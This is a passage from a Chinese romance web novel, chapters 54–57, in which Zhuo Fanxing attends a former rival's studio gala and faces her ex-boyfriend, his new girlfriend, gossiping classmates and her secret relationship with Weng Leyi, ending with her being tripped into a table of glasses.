她来的突然,姚家长辈难免奇怪,不过正赶上卓繁星先前的一位老师退休,徐凤听说是在许筠的工作室办谢师宴,以前的学生基本都来了。她想约莫是这样。 姚灵均则嗅出些不一样的味道,卓繁星进门没多久就被她拐到自己房里。 她抱臂睨她。“说吧,怎么想到过来的?” “不是你叫我来的?” “那能一样?我先前叫你来你怎么不来!这时候倒听话了。老实交代,是不是有鬼?” 卓繁星温吞吞道:“我能有什么鬼。你男朋友呢?刚好叫我见见。” “你别岔开话题啊,你赶紧给我交代了。” 徐凤上来敲门。“灿灿,你中饭在家里吃。我已经叫保姆去买菜了,一定要在家里吃。你这是干什么?像什么样子?” 姚灵均把她推出去。“我们姐妹讲话呢,你别管。” “我才不相信你是来参加什么谢师宴的。我妈傻乎乎的不知道,你和许筠关系又不好,她借着谢师宴的名头宣传自家的工作室呢,你来凑什么热闹。” 卓繁星说:“就是来凑热闹的。” “不说实话是吧。死鸭子嘴硬是吧。” 姚灵均冷笑两声,一下飞扑上来把她压到床上。 “你说不说,说不说?” 卓繁星被她挠痒痒,身子蜷的和虾一样。“我说,我说。” “快说。” “我和翁乐仪谈恋爱了,我来找他的。” 姚灵均一下石化了,然后迅速眯起眼。“你可真能耐啊,卓繁星。瞎话张口就来,当我傻呢。你怎么不说你是来找蒋凌洲的呢,我更信你。” 卓繁星喜提笑岔了气的肚子,还有一头乱发。 “我跟你讲,他女朋友叫林灿。我上次去他家,秦奶奶一口一个灿灿,给我叫的胃疼。我爸说咋能这么巧呢。你说膈应不隔音。” 卓繁星问她:“你先前说的婚房买好了没?” “别提,说起来我就气。”姚灵均一下变了脸色。 “没弄好?” “先前说两家一起出钱,胡昊天妈妈听别人是说什么股市现在行情好,投进去亏麻了呀。” “怎么会这样。” “我倒霉呗。关键还说不得,她妈妈要跳楼的。做错事了还能那么理直气壮,我也是没想到的。噢,她说就是为了我们想,才想多赚点钱。好坏坏话都给她说去了。” “那房子不买了?” “怎么买呀。说起来,我爸倒是说让我妈问秦奶奶张口借点,说房子买下来干脆就算婚前财产。可是我觉得更没必要了。” “那你和胡昊天感情还好吧?” 姚灵均表情有点奇怪,纠结了一会儿开口:“不知道,我感觉他有点妈宝。他自己的钱都存在他妈那儿。他说结婚了就上交工资卡,可是他妈那事儿,我不知道怎么的,就是特别不舒服,心慌慌的。” 卓繁星到底没见过胡昊天,可是天然地就替她担心。“结婚前一点不舒服也要掰扯清楚啊,别稀里糊涂的。” 姚灵均烦躁地叹气。“还是不结婚的好,谈恋爱的时候没这么多事。我感觉我对他没什么意见,就是不喜欢他妈。灿灿,你以后要是找老公一定要记住,家里人还是很重要的。” 卓繁星一下想到翁乐仪漂亮又优雅的妈妈,好像难度更大。 徐凤提起卓繁星还有一些东西在这儿,都是她以前没来得及带走的,都收到阁楼里的储物间。卓繁星找到了念书时候的课本笔记本,姚灵均说:“我妈没舍得卖,说反正卖了也值不了几个钱,不如留着作纪念。” 卓繁星对舅妈其实是十分感激的,她虽待她并不亲近,但是很公平。从小姚灵均有的,她都会给她,是个十分敞亮的人。 一只玉桂狗十分显眼,她把它从防尘布里掏出来,不小心按到里面的按钮。 “生日快乐,灿灿。” 蒋凌洲的声音一下传出来。 卓繁星倒不至于被吓一跳,只是想不起来什么时候收到的。 姚灵均又按了一下。“你别说,蒋凌洲这狗东西声音是真的不错。” “” 卓繁星知道许筠的活动,因为她在翁乐仪的车里见到过邀请函。她不觉得这与她有什么关系。 然而世事难预料,晚上胡昊天请客吃饭,吃完出来便在餐厅外遇上了许筠。 姚灵均生怕她短了气势。“对啊,不是谢师宴吗。” 许筠愣了下说,随即露出一丝笑来。“是呀。灿灿到时候可以早点去,我们很久没见了。”又对姚灵均说:“我这里邀请函没带在身上,也邀请你带上男朋友一起来。” “谢谢,我们不一定有空。”卓繁星偷偷拽她,姚灵均才硬硬地补充道:“有空我们会去的。” “嗯,希望你们能来。”许筠当日穿着一身浅咖色的羊绒大衣,系着腰带的腰肢纤细,脸上画着淡妆,一头及腰的长发带着微卷,手上挎着一只奢牌包包,显得非常,嗯,贵。 卓繁星被姚灵均勒令一定要用心打扮,转头就带她去了商场买衣服。 卓繁星看着上万的标价,人都快麻了。 “我觉得只是同学聚会。” “呵呵。你没看见那死丫头的样子。我跟你讲,她憋着一口气呢!当初她就把你当跟班小丫鬟使唤,没想到叫你俘获了少爷的心,她那时候就气的半死。现在肯定要把你比下去!你不打扮的风风光光的去,不就遂了她的意。而且那天肯定还有其他人啊,同学会不就这样,拜高踩低的,你别不当回事儿。不争面子争口气,你听我的!” 卓繁星买不下手,好说歹说,说大学同学家里开旗袍店的,她去那边借一身就行。 “那你拍照片给我啊,不许随便糊弄。” 卓繁星好生将她送走,想着找个借口不去,结果转头就被拉进一个群里。 刚加上的许筠在群里@她。 【没想到今天遇到灿灿了,开心撒花!】 第55章 ◎修罗场(一)◎ 许筠发出去的消息在群里掀起不小的动静。 灿灿? 有些人已经忘记了,还有些是根本不认识的,只是这群里绝对的核心是许筠,让她发话的人,自然是要表示欢迎。不管是打字还是发表情包,反正总要冒个泡。 【灿灿?蒋凌洲的女朋友?】吴梦云起先还没搞明白。 许筠回:【不是,是卓繁星。】 吴梦云发了个意味深长的表情包,回头敲许筠:【她怎么也来了?】 【不知道?今天在新光天地碰见的。】 【奇奇怪怪的。】 许筠发了个摊手的表情。 她坐在车里,绕着自己打理细致的头发。 【那天蒋凌洲也来吧,带着林灿?】 【她肯定要来,我早就邀请她了。】 对面发了个大笑的表情包。【突然开始期待起来了。】 许筠漂亮的指甲戳在手机上。【你会不会想太多?都多久的事了。】 【蒋凌洲当年可是甩了她哎。现在想想也挺可怜的。他那种人,怎么可能真的和她在一起啊,就是玩玩的。】 【你又知道了?】 【不过也是活该啦,谁叫她撬你墙角的。】 【蒋凌洲可不是我的墙角。】 许筠撇撇嘴,对于小时候的爱恋情仇早没那么记忆深刻。如果要她形容,那是一种气愤,气愤怎么有人敢觊觎她的东西。 车子停下,司机说:“小姐,到了。” “辛苦啦。”许筠回到家中,妈妈正在挑衣服。 “我在想那天穿哪套去好?”她对着镜子来回照。“今天的约会怎么样?” 许筠坐在沙发上,两只手向后撑着,耸了耸肩。“没什么意思。” “你想要什么意思?如果不排斥不如接触接触。” “我真是不懂我什么都不缺,为什么一定要结婚。” “不是一定要结婚,只是也没必要那么排斥。你到了这个年纪,不应该考虑步入一段稳定的关系了吗?如果有合适的人,为什么不试一试?” “那不就是催婚。”许筠翻了个白眼。“我觉得这条酒红色的不错。” “会不会太隆重了。”许妈妈有些犹豫。 “那你自己选吧。”她起身要走,许妈妈叫住她。“那天提起来,我顺道就邀请了章柯妈妈一起来。” “妈妈。”许筠有些恼火。“我对他没意思。” “没意思也能做朋友,不好么?” “我今天遇到卓繁星了。” “谁?”许妈妈一时想不来这个人。 “中学时候的朋友,她舅妈是秦奶奶的干亲,你不是那个时候和她走的很近。” “她?她现在怎么样?”许妈妈想起来了,在镜子里古怪地看了女儿一眼。“她当时是不是和凌洲谈过恋爱。说起这个,你真的对凌洲没有一点想法了吗?我听他妈妈讲,她并不满意他带回来的那个姑娘。” 比起卓繁星,她显然更关心其他事。 许筠叹了口气。“我和他女朋友可认识。” 许妈妈鄙夷地看了她一眼。“你和凌洲读幼儿园的时候就认识了。” “妈是想让他再甩一遍我?噢,不对,他可没祸害过我。” “你这丫头。”许妈妈无奈摇头。 许筠不知道怎么去形容她对卓繁星的复杂观感。和妈讲,势必要被嘲笑。她原本以为早对她没有什么深刻的记忆了,其实不然。 她想到那个挂在她包包上的冒牌玩偶。到这个年纪了,她不用骗自己那时她就是窃喜的,以至看一遍就会乐一次,心里微妙的不平衡便会稍稍平复一些。 她一直骗自己蒋凌洲怎么会喜欢她呢,应该是为了拆穿她,戏耍她罢了,也许还有想给她出气的意思。 可是当她真的看见他亲吻她,在舞蹈教室,要知道以前都是他在等她。 蒋凌洲之于她也是她认为的所有物,还是最值得夸耀的那个。就像妈妈说的,他们一起长大,所有人都觉得他们很般配,而他也十分照顾她。她觉得她就是特殊的。所以卓繁星才会显得那么突兀和碍眼。 而卓繁星并不多么热情,反而是蒋凌洲,他的眼睛恨不得粘在她身上,在她喝水的瞬间,凑过去亲吻她的面颊。在被推开后,几乎有些讨好地叫她。 “我听许筠喊你灿灿,我以后也这样喊你好不好?” 许筠平时有多庆幸对他的熟悉,这时候就有多痛恨。她不能再骗自己:蒋凌洲真的喜欢卓繁星。 为什么卓繁星身上会有这种能量呢? 这就好比问宝玉为什么会对黛玉一见钟情呢? 这个问题本来就没有答案。如果一定要回答,似乎更加无法接受。蒋凌洲似乎天然就被卓繁星吸引,像神话中的被爱神射中了一样,是一种命中注定。 不过蒋凌洲并没有多专情,这让许筠好受很多,甚至很快剥离掉对卓繁星的讨厌,转变为怜悯。及至后来又变为庆幸,蒋凌洲不接受她,未尝不是一种偏爱。 许筠撑着栏杆,看着两个消失在侧门的人,有些抱歉地对身边的林灿说:“她是凌洲的初恋,我以前的朋友。” 刚刚那一幕,蒋凌洲带走了卓繁星,相信会给她不小的冲击。这个可怜的人才是被蒋凌洲伤害到底的人。 “我知道。” “你知道?”许筠稍显诧异,毕竟从未听她提过,她确信她自己也没有对她讲过任何有关卓繁星的事。 “对。”林灿勉强提了提嘴角。她看见过她的照片不是吗? 时间调转回半个小时前。 卓繁星刚刚从计程车上下来,走进许筠的工作室。 天色已经变暗,太阳悬在教堂的十字尖顶上。庭院里绿草茵茵,中式庭院的月亮窗前栽了一棵玉兰树,如今花虽未开,却不妨碍让人想到三月的时候,花立枝头的景象。 卓繁星穿着一条从佟笑家借来的旗袍。通体浅杏色的布料在阳光下有一种淡淡的光泽感。 三混边的设计,用了红蓝两色做一些提亮,不会显得太单调。领口很高,有三颗扣子,是十分挑剔的设计,不过对于脖子长的人来说,反而会很好看。 佟妈妈专门替她收了些腰,令卓繁星偏瘦的身材被勾勒出来,腰臀比十分出色。 许筠看见她时,不得不赞一声,她真的很漂亮。 卓繁星并没有邀请函,进入的时候还被稍稍盘问了一下。在她展示出微信里的信息后,她就被客气地放了进去。卓繁星在这时候就开始后悔了,至不至于为了一点骨气到这种地方来。 姚灵均还没来,她今天在胡昊天爷爷家吃饭,也许不来了也说不定。她在微信里这样回复她,卓繁星有种被戏弄的感觉。 她发了数个敲头的表情过去,换来某人无辜的摊手。 【我们又不是被邀请的对象,就是顺便啦。那种圈子,我们老百姓可混不进去。】 【好啦,要是来得及我会去见识一下的。这不是临时喊我吃饭嘛。你自己加油哈,不要给我丢面子。拍拍头。】 卓繁星想幸亏没有听她的买贵的裙子,她向来不靠谱。 她当然知道来这里会遇见什么人,只是她其实也不愿在许筠面前露怯。虽然现在的确在后悔,但是她更想让自己大方一点。 她这里的意思是好像不来了会显得扭捏,说不定还会被说闲话。 卓繁星知道自己又陷入了一种自证的怪圈里,其实她本可以真的无视他们,她的生活与他们无关不是吗。 卓繁星走在衣香鬓影的场合里,不算显眼,也没找到那位老师。所以她说,她其实真的没必要来。 当然也有可能是她来的太早了。 卓繁星不知道自己已经成了别人眼里的风景。 在又一次抬头的时候,卓繁星不期会看见蒋凌洲。 在他走过来的瞬间,卓繁星可以说就已经离开。她坐着的位置是靠着玻璃窗观景台的,她刚刚不过是坐在上边的蒲团上,身子微微扭转,有些出神地看着院子里的景色。 “干什么?”卓繁星看着挡住自己路的人,一下子懊恼起来。 蒋凌洲的目光锁着她,一只手插着口袋,身子挡住她的去路,微微俯身的姿态让卓繁星很不舒服。 “什么时候回来的?” 卓繁星不觉得和他有什么关系。她试图绕开他,却被带走。 卓繁星不想成为焦点。 蒋凌洲在一处无人的位置松开她,这里靠近外面的花园,卓繁星冷的瑟缩了一下。 几乎瞬间,蒋凌洲就脱下自己的外套。 西装毛呢外套带着他的体温还有味道,卓繁星惊恐地躲避。她甚至不会选择同他争辩,只是往回走。 “你如果不希望更多人看见我们的话。我只是有些话要和你说,说完就会走。穿上衣服。” “里面也可以说。”卓繁星不喜欢这个姿势,更不喜欢他的气味。 “而且我不觉得我们有什么好说的。我也不想听你说任何话。” 卓繁星的脚步根本没有停,蒋凌洲只能追上来。 “凌洲。” 如果说卓繁星后悔今天来是从刚进门的时候开始,那现在这种后悔或许已经到了一种可以让她恨不得原地消失的地步。 其实昨天翁乐仪就提过能不能不要去。她为什么没有借坡下驴呢。 她尴尬地定在原地。 蒋凌洲捡起地上的外套,说:“妈,姑姑。” 俞秋华的眼睛飞快地扫过卓繁星。 这样的视线她一点也不陌生,当年得知她的宝贝儿子同她谈恋爱的时候,她就是这样。卓繁星并不觉得怎么样,可如果蒋濯衣也在 卓繁星裸露的手臂已经感觉不到冷了,咬着嘴唇尴尬地点了点头,选择离开。 第56章 ◎修罗场(二)◎ 俞秋华说:“那是姚家的姑娘吧。” “是。”蒋凌洲没什么表情地看着她离去的方向。 俞秋华说:“希望不是我想的那样。” “妈想的是什么样?”蒋凌洲回去了。 俞秋华抱怨道:“没礼貌的小子,对我就是这个态度。” 蒋濯衣说:“这姑娘真漂亮。” “是漂亮。不漂亮能让他现在还忘不掉。不知道怎么就突然回来了。” 卓繁星回去的时候,许筠叫她上去。“颜院在上面,要不要打个招呼?” 卓繁星说好。她打完招呼就可以离开了。她还碰见了前段时间在Y市巡演时的林老师。颜院当年还不是院长,如今已是退休的年纪了。 卓繁星被许筠带进来,颜院长意外还记得她。 “那个时候你们两个是好朋友啊,一对双生花,都是林老师看重的好苗子。” 许筠笑说:“难为您还记得,我们那时候同进同出,训练都是一起的。” 卓繁星免不了要被问在哪里高就。 说实话有些尴尬。她们在听后也没有太多兴趣。 吴梦云说:“你那时候不是去拍电影去了?” “是舞替,不是拍电影。” “噢。那我记错了。” 吴梦云指着身边的姑娘说:“这位是蒋凌洲的女朋友,叫林灿。我们都叫她灿灿。” 这介绍实在突兀,卓繁星觉得比起她,她才算是合格的跟班,在许筠身边多少年都不变。 “你刚才和蒋凌洲在外面说什么呢?” 卓繁星愣了下,没错过她看好戏的表情。“我们刚好看见,所以有点好奇。林灿不好意思问,我就帮她问问咯。” “你看错了。” 吴梦云呿了一声。“有什么不好说的。” “那你可以去问蒋凌洲。”卓繁星感觉到周遭异样的视线以一种诡异地默契聚焦到她这里。 “你什么意思?”她气的坐起来。 卓繁星觉得很无聊,这么多年了,还是这样。 卓繁星有段时间很不明白她的敌意从何而来,后来略微明白了点,或许只有这样才能显得忠心。她可不比她好在哪里,要混到许筠的圈子里,若不冲锋向前发挥作用,怎么能留下来。 可是许筠眼见着并未和蒋凌洲在一起,她为何还要如此。 卓繁星纳罕。 刚好翁乐仪电话进来,她离开了。吴梦云鄙夷道:“不知道在傲些什么?” 许筠说:“你这样针对她干什么?” “她是有先例的。我就看不惯她这样。” “怎样?”林灿适时地开口。 “你要小心,当初她明知道筠筠和蒋凌洲是一对,还要插一脚。” 许筠说:“小时候的事了,提它做什么。” “本来就是事实。你也看见了刚刚。不知道她同蒋凌洲说了什么。总之,你要当心。” 林灿笑一下。“我看没什么的,同学见面说些话很正常的。不过还是谢谢梦云你的好意。晚会马上开始了,我去补个妆,你们要去吗?” 她施施然离开,吴梦云自讨没趣。“不知道真不介意还是假不介意。” 翁乐仪的声音听着似乎在路上。他从家中赶来,今日有位重要的客人拜访。 卓繁星说:“我这边没什么事了,已经准备回去了。” “舞会不是刚开始?” “都不认识。” “我不是人吗?”他冷不丁来一句,令卓繁星发笑。 “你要跳舞吗?” “不可以吗?” “我们可以回家跳呀。”她声音放轻,试图哄骗他。 翁乐仪说:“回家也可以继续。” 翁乐仪看着窗外拥堵的车流,这样也好,他总是要将她介绍给家人朋友的。 卓繁星有些无奈地挂断电话,陈跃不知何时走到她身边。 “乐仪的电话?” 卓繁星一下张大了眼睛。“不是。” 陈跃笑出来,拿着酒杯的手指着她。“你说谎的水平真的太差,建议不要这样发挥。” “乐仪和我讲过了。”他在她试图辩解的时候打断道。 “他和你说的?” “是啊。大年夜,你不是找他来着。” 卓繁星这下才算是彻底相信了。“你们都知道了?” “唔,目前就我。我觉得你们没有必要瞒着啊。” 卓繁星没有反驳。 “不过我很好奇,你到底是喜欢他,还是喜欢凌洲?” 卓繁星有种被冒犯的感觉。“这和你有关系吗?” “当然没有。不过我只是觉得你既然选择和乐仪在一起,那么或许还是要适当的和凌洲保持距离。你说呢?”陈跃撑着栏杆,看着楼下热闹的人群。“毕竟兄弟喜欢同一个女人不是什么值得宣扬的事。” 卓繁星的冷笑让他扭过头看她,或许刚刚看见的人不止有两个长辈,吴梦云她们,还有很多。 “你不妨把这些话和蒋凌洲去说,让他不要靠近我,因为我很讨厌他。”她冷冷地吐出这句话,如果语言可以天然地让人信服该多好。 卓繁星离开的时候想,这些人总是这样,自大傲慢,目中无人,也听不懂人话。 灵均幸好没有选择他。 姚灵均比翁乐仪更早到,在卓繁星下楼的时候,她同胡昊天一起进来。 “我们好像穿的太随便了一点。”她有点点心虚地开口。 胡昊天说:“说了回去换身衣服。” “那怎么来得及。灿灿一个人哎。” “所以?她又不是小孩儿。”胡昊天实在理解不了她。 “我还以为你不来了?”卓繁星不自觉有点委屈。 “我怎么会不来啊,免费的自助餐为什么不来。你这身衣服真好看”姚灵均看见她身后走下来的陈跃,稍稍停顿了下。 “姚灵均。”他自然地上来打招呼,也没忽略胡昊天,实足的客气礼貌。 夜幕降临,最后一点余晖消失的时候,两幢房子灯火通明,大提琴低沉悦耳的声音在空中飘荡。人群三三两两,或坐或站,谈笑风生。 姚灵均四下看了看,说:“弄得跟宣传酒会似的。” 她晓得自己的这番打扮稍显突兀,圆领的羊毛衫下面一条牛仔裤,还有一双高帮的雪地靴。 “热死我啦。”姚灵均偷偷和卓繁星吐槽。“脚都出汗咯。” 卓繁星低落的心情被她一下抚平。“那你把鞋子脱了。” 她一脸你在开什么玩笑的表情,然后又和她咬耳朵。“我今天穿了五指袜噢,特别可爱的那种。” “那个是吴梦云吗?”她悄悄指人。“她是不是动过啦,我感觉她原先不长这样啊。” “有吗?”卓繁星说:“她整过牙,你忘记啦。” “噢噢,怪不得呢,那也没整好呀,和瘪嘴老太太一样。” 卓繁星噗嗤笑出来。姚灵均跟着笑,拿手臂顶她。 “呐,就那个,她旁边那个,就是蒋凌洲的女朋友。”她还抬手和她打了个招呼。 卓繁星说:“我知道。刚刚她们介绍过了?” “她们?谁啊。” “吴梦云呗。” “她给你介绍?她是故意的吧。”姚灵均一下就嗅出来。“她想看你笑话。当时蒋凌洲出国了,学校里说你被甩了,就她说的最积极,笑的最大声。” “皇帝不急太监急。”姚灵均暗搓搓给她下评语。 “好烦啊,你说陈跃干什么,拉着胡昊天说话。他平时没这么热情的。胡昊天也是,女朋友在这里还过去。” “他无聊吧,这里没其他认识的人。”卓繁星也没想到胡昊天会就这样和别人跑了。她可不觉得陈跃有那么好心,当然或许是因为刚才的事,让她有偏见了。 “不行,我去叫他过来。” 卓繁星见着她过去,陈跃不晓得说了什么,姚灵均脸一下就红温了,回来了人就气鼓鼓的。 “陈跃。”刘清华逮着机会问:“她怎么来了?” “不知道,过年呗。”陈跃不在意地耸了下肩。 “凌洲看见她了吗?凌洲人呢?”他扭头四下找了下,陈跃没明白。“你瞎紧张什么呢?” “我……”他把话憋回去,拿起杯子一口喝干,是啊,关他屁事儿啊。闹吧,闹出来才有意思呢。“乐仪怎么还没来?是不是不来了?” “他?他指定得来吧。”陈跃笑起来,拍了拍他的肩。 卓繁星被林老师叫住,有些意外。 二人找了个安静的角落坐下,她开口道:“之前在Y市匆匆见了一面,没说上什么话” 卓繁星其实对这位老师记忆深刻,当年她刚任教的时候,比卓繁星现在的年纪还小。卓繁星记得是她推荐她去录节目的,之后被许筠替换,她也很无奈,还要和她解释。 在练功房里,卓繁星刚刚热完身,就被叫了出去。 那时候她十分抱歉地望着她,安抚她:“下次还有机会,别太伤心。”她说老师们觉得还是许筠更合适,跳的更好。 从前那张稚嫩年轻的脸变成如今成熟的样子。“有打算回京市吗?”她这样问她。 卓繁星的脑袋微垂,敛着眼睛笑了下。“我爸爸现在身体不好,暂时没这个打算。” 她叹了口气,在她肩上拍了拍:“你也不容易。这次见你,又在许筠这儿,还以为你可能要回京市发展你知道的,我就是觉得有点可惜,当时你跳舞真的很好,又勤奋又有天赋。” 卓繁星说:“现在让您失望了,我基本功都快丢完了。” “那你还喜欢跳舞吗?” 卓繁星看着她温柔的眼睛,一时间喉咙像被塞住了。“上次在剧院碰见您,是我头一次去Y市的剧院。” 舞会开始了,有人来找她。 “繁星,多联系,如果之后有什么新的想法,可以多沟通。如果我能帮得上忙,我会非常开心的。” 卓繁星一个人坐了会儿,感觉到有个人影过来,一双皮鞋落在眼前。 “我还以为你走了。” 翁乐仪穿的比较休闲,手在她脸上蹭了下,凉的卓繁星直躲。 “怎么了?碰见谁了?不开心?” “刚和林老师说话呢。”卓繁星想这趟来也不是毫无收获,林老师的话让她有种暖暖的感觉。 卓繁星往正厅的方向看了看,人群背对着这边,气氛很热闹,她没错过姚灵均张望的脑袋。她将身子挤进墙壁的缝隙,这里刚好是个拐角。 翁乐仪听见她在那头低声喊他。他站在墙壁另一头,或许不能称之为墙壁,只是为了满足设计师的癖好,一堵窄墙罢了。 “你妈妈也来了。”某人这样悄咪咪地告诉他,仿佛是什么很大的秘密。 “我知道。” “你不去打招呼吗?” “会去。一起吗?” 卓繁星提出自己的想法。“我想走了,没什么事了。” 翁乐仪沉默了一秒,开口道:“你在做贼吗?卓繁星。” 卓繁星已经能判断他是否生气了,一个很重要的指标就是他喊她是名字还是灿灿。 她鬼使神差地顶住自己的鼻子往上推,还配合地吼吼了两声。“可以不生气吗?翁先生。我只是社恐啦,见到长辈话都说不利索了。” “还生气吗?” “别生气啦。宝贝。吼吼o(*^@^*)o” 翁乐仪还是绷不住笑了,卓繁星有些怨怪地瞪了他一眼。“我发现你现在脾气真的好大。” “有吗?”翁乐仪根本不承认。明明是某些人胆子太小。 他在退出去的时候,又停下来。 卓繁星靠着墙,不明所以,然后很快就被吻住。 翁乐仪托着她的腮,下面是她的脖子,从扣的严丝合缝的旗袍里延伸出来,像一节细长的枝条。另一只手落在她腰间,那处小小的凹陷,记忆深刻,在深秋洒满阳光的院子里。 卓繁星轻咬了一下他,他才松开。 “我和你一起走。”翁乐仪呼吸有些粗重地开口。 卓繁星给他擦着唇上的口红。“你才刚来。” “所以没什么影响。” 卓繁星觉得这个主意也不错。 如果姚灵均没有找来的话。 “你刚和翁乐仪聊什么呢?你们两个什么时候这么熟了啊?” 卓繁星看着她,心想我其实已经告诉过你了,不怪我了噢,遂摇头说没什么,她一脸狐疑:“真的?” “嗯。”卓繁星点了下头,怕她逮着不放,赶忙问她刚刚这里在干什么。她果然被她岔开了话题。“致辞呀,还有剪彩什么的” 卓繁星想起来刚刚都没问翁乐仪觉得自己晚上这身怎么样,她看了下身上的旗袍,福至心灵想到了什么。她往翁乐仪那儿悄悄看了眼,他被陈跃搭着肩,不知道陈跃说了什么,他勾了下嘴角,头发没定型落下来几绺,有些不羁随性。 卓繁星撞上了蒋凌洲有些迫人地眼神,他在俞秋华身边,同许筠的父母站在一起。 “我们要不先回去吧。”卓繁星这样建议道。 姚灵均说:“都到这里了,跳支舞再走。” “穿雪地靴?” “雪地靴怎么了?”姚灵均有种管他谁谁的感觉。卓繁星想这真是她见过的最大的进步,要知道以前的她可是最在意形象和别人的眼光了。她现在甚至都不如她。 翁乐仪的目光也落在卓繁星身上。 “还以为你不来?”蒋濯衣这样讲。 “闲着没事。” “那姑娘。”她顺着他视线看过去。“方才我们来,正碰见凌洲拉着她说话,好像两个人不太愉快。真的很有意思。”蒋濯衣轻笑着喝了一口酒。 翁乐仪错愕地怔了下。 “说起来,你女朋友呢?怎么不将她带来?这样的场合她应该会感兴趣吧。” 翁乐仪的视线飘移了一下,看了一眼远处的卓繁星,像是被人猛地砸了一拳,有些瞬间的晕眩。 他听见自己的声音,又仿佛不是。“是啊,谁知道呢。” 第57章 ◎修罗场(三)◎ 许筠是古典舞出身,不过这次来的人里不全是古典舞。卓繁星见了好多表演,有拉丁,还有芭蕾,在搭起来的小舞台上逐个展示。 她提前在群里面了解到一些,他们大多是知名的舞团演员,有些仍活跃在演出一线。 卓繁星欣赏的时候,不知道林灿何时来到身边。 “你好,hi~”她同她打招呼。 “你好。”卓繁星稍显意外和尴尬,毕竟方才在楼上,吴梦云说了那样的话之后,是个人都会多想。 卓繁星稍显防备,不妨她开口就是:“你的旗袍真好看。” “谢谢。” 姚灵均说:“她朋友家做的,是京市老店,祖传的手艺。” “怪不得。你知道的,我在唐人街,尤其过年的时候见到的都是那种大红色的,我一点也欣赏不来。” “那是,那种穿起来像酒店的迎宾小姐。” “对,就是这样。”林灿连连点头。 姚灵均说:“你要想做一身,可以去那边看看,这种衣服自己做的和买的成衣可差太多了。” 这时候舞台上突然有人拍了拍话筒,众人看过去,许筠站在台上,套着白色丝绸手套的手握着话筒架,明艳的脸上挂着俏皮笑容。 “感谢大家来参加今天的晚会。先前的表演十分精彩,那接下来呢,也请大家好好享受这个夜晚。” 随着她的尾音落下,灯光变暗,悠扬的舞曲响起来。 “啊,要跳舞了。”姚灵均说。 “说让男士选择舞伴,如果女士接受了花,就代表愿意和他跳舞。刚刚胡昊天也领了一支。”她跟卓繁星悄悄说:“花样真多。” “灿灿,你等下也要跳舞吗?”她突然想起来,她似乎和那个医生没有后续。今天这样的场合很适合来一场艳遇啊。她一下兴奋起来,左顾右盼,寻找合适的人选。“我发现有好几个男人在看你哎。” “什么?”卓繁星说:“看我干什么?” 姚灵均翻了个大白眼。“要不是我是你表姐,我也要离你远点,不要这么凡尔赛好吗。怪不得吴梦云讨厌你。”她决定在心里原谅吴梦云一秒。 “你不是要跳舞吗?”卓繁星还记得她的豪言壮语。 “等下吧,我观察一下他们怎么跳的。” 卓繁星一下笑出来。 “笑什么?!我不会跳很正常吧!” 卓繁星转过头,在人群里找到翁乐仪——他个子高,站在他妈妈身边,十分出挑。侍应生走过他身边,他抬手拿了一支托盘上的花。 卓繁星在他看过来的瞬间低下头。总不至于在这里跳吧。这不像他会做出来的事,不说其他,他的腿着实不方便。 卓繁星忍不住又去看,这一次他们视线对上了。光束扫过翁乐仪的面颊,他的瞳孔被照的透明,却不难看出里面的坚定。 卓繁星立即慌乱起来。在他走近的时候,转身离开。 姚灵均想拉她,卓繁星说:“我有点渴。” “胆小鬼。”她吐槽道。 卓繁星到餐台的位置拿了瓶苏打水,喝了两口轻轻吐了口气。玻璃窗上映出翁乐仪的身影,他站在另一端,离她很远,那朵花被他搁在餐台上。 窗外的绿地整洁冷清,与屋内的气氛截然不同。或许这样的氛围传导过来了,不然为何解释此处的寂静。他们两个像是被隔绝开,有一股力量将他们从喧闹中推离,落入外面冷清的夜里。 卓繁星的手指渐渐收紧。 她知道的,刚才自己的举动伤害了他,她下意识就想逃。或许没有刚刚在花园里的撞见,她不会这样害怕,她不知道他妈妈会怎样看她。 “回去吗?”卓繁星听见自己的声音很轻,试图稳住它,不让它显得太过狼狈。 翁乐仪垂下的睫毛颤了颤,看向她。“是这样的,我现在有些困惑”他停顿许久,摸烟的手从口袋里抽出来。“算了。” “我去和妈说一声。”他往后走,顿了下又道:“你可以先出去,我在外面等你。毕竟你不希望被别人看见。” 他扔下这句,睇向她的眼睛里,有一种好笑的轻蔑。卓繁星有一瞬间的窒息感,眼泪不受控制地涌了上来,她迅速转头,看向窗外,狠狠吸了口气才将它压下去。 卓繁星调整好情绪,路过那支被丢弃的郁金香时,忍不住将它捡起。 吴梦云嘲讽的声音飘了过来:“啧啧,你手段真厉害啊。” “你是不是有病?” “你什么时候和翁乐仪扯上的关系?我真是佩服。”吴梦云抱臂靠在餐台上,视线追随远去的人影。“你不是都不在京市了,哪儿认识的他?” “哎。走什么呀。”她侧过身体挡住她。 卓繁星睨着她,突然冷笑道:“我一直不明白你为什么要那样针对我。你是蒋凌洲女朋友吗,关你什么事?还是你喜欢他。” “你胡说八道什么?!” “不然你为什么这么应激。和你有关系吗?” “我只是觉得你很恶心。”吴梦云吼道。 “那真是不好意思,恶心到你了。你以为自己是什么东西?正义使者吗?你闲不闲呐。”卓繁星没工夫也没心情搭理她。 “你走什么?” “你是不是有病?” 卓繁星感觉到脚腕处被绊了一下,身体一下失去了平衡。她试图扶住身边的桌子,却只扯到了桌布。 桌上叠起来的杯子迅速倾倒下来,卓繁星只来得及用手臂挡住脸。那上面还有一只装饰作用的大花瓶。 尖叫声响起来,划破耳膜,却只是一瞬间的事,随即便被哔哩啪啦的碎裂声侵吞干净。 阴影袭来,身上突然被罩住,卓繁星放下手,看见蒋凌洲放大的脸。 他身上十分狼狈,那些玻璃碎在身边。随着他起身,有杯子落地的声音。 “灿灿。”姚灵均冲过来扶她,她的高帮雪地靴在这时发挥了作用。 蒋凌洲的身上则十分狼狈了,酒水从他的领口渗进去,背后一片狼藉。 “伤到没有?” 他全副心神都在卓繁星身上,掌心嵌了碎玻璃也不去管。 “Arhur!”林灿跑上来拉住他,看见蒋凌洲后颈领口上晕开的红色血迹。“你需要尽快处理一下伤口。跟我来。Please!”她试图拽动他。幸好俞秋华来了。她告诉她:“他好像脑袋后面有伤口。” “去医院!直接去医院。”俞秋华摸到他后颈处粘稠的头发。 “问题不大。”蒋凌洲说。 “你闭嘴!”俞秋华怒喝道。 翁乐仪径直走了过来。“受伤没有?” 姚灵均人都傻了,怎么又来一个。 翁乐仪握住卓繁星的手臂,前后看了一遍。“怎么会摔倒的?吓到了吗?”他的手在她脸上碰了碰。 卓繁星感觉身体的温度并没有很快回来,木愣愣地看着他。 蒋凌洲的目光在他们身上逡巡,染血的伤口,沾了酒水的头发,凝成一种迫人的阴沉感。他半讥半嘲地开口:“希望不是我想的那样。” 